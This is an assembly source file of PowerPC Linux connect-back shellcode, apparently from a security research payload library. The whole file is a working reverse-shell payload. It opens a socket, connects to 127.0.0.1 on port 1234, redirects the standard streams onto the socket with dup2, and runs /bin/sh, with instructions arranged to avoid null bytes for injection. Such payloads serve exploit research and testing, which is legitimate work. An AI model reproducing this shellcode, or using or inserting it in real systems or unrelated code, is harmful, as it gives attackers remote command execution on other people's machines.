2008-11-17 10:34:26 +00:00
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/*
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2010-05-23 20:01:11 +00:00
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* lin-power-cntsockcode.S
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2008-11-17 10:34:26 +00:00
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* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
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*
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* This library is free software; you can redistribute it and/or
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* modify it under the terms of the GNU Lesser General Public
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* License as published by the Free Software Foundation; either
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* version 2.1 of the License, or (at your option) any later version.
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*
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* This library is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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* Lesser General Public License for more details.
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*
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* You should have received a copy of the GNU Lesser General Public
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* License along with this library; if not, write to the Free Software
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* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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*
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*/
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#include "linux-power.h"
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.globl main
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main:
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cntsockcode:
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xor %r31,%r31,%r31
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lil %r29,__CAL
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# socket
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cal %r28,-511+1(%r29)
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cal %r27,-511+2(%r29)
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stu %r31,-4(%r1)
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stu %r28,-4(%r1)
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stu %r27,-4(%r1)
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mr %r4,%r1
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cal %r3,__NC_socket(%r29)
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cal %r0,__NC_socketcall(%r29)
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.long 0x44ffff02
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mr %r26,%r3
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# connect
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cal %r25,-511+16(%r29)
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/*
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* The following GPRs result in zeros when used with liu instruction.
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* %r24, %r16, %r8, %r0
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*
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*/
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liu %r23,0x7f00
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oril %r23,%r23,0x0001
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lil %r22,0x04d2
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stu %r23,-4(%r1)
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stu %r22,-4(%r1)
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st %r27,-2(%r1)
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mr %r21,%r1
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stu %r25,-4(%r1)
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stu %r21,-4(%r1)
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stu %r26,-4(%r1)
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mr %r4,%r1
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cal %r3,__NC_connect(%r29)
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cal %r0,__NC_socketcall(%r29)
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.long 0x44ffff02
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0:
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# dup2
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mr %r4,%r27
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mr %r3,%r26
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cal %r0,__NC_dup2(%r29)
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.long 0x44ffff02
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ai. %r27,%r27,-1
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bge 0b
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shellcode:
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# lil %r31,__CAL
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xor. %r5,%r5,%r5
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bnel shellcode
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mflr %r30
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cal %r30,511(%r30)
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cal %r3,-511+36(%r30)
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stb %r5,-511+43(%r30)
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stu %r5,-4(%r1)
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stu %r3,-4(%r1)
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mr %r4,%r1
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# cal %r0,__NC_execve(%r31)
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cal %r0,__NC_execve(%r29)
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.long 0x44ffff02
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.asciz "/bin/sh"
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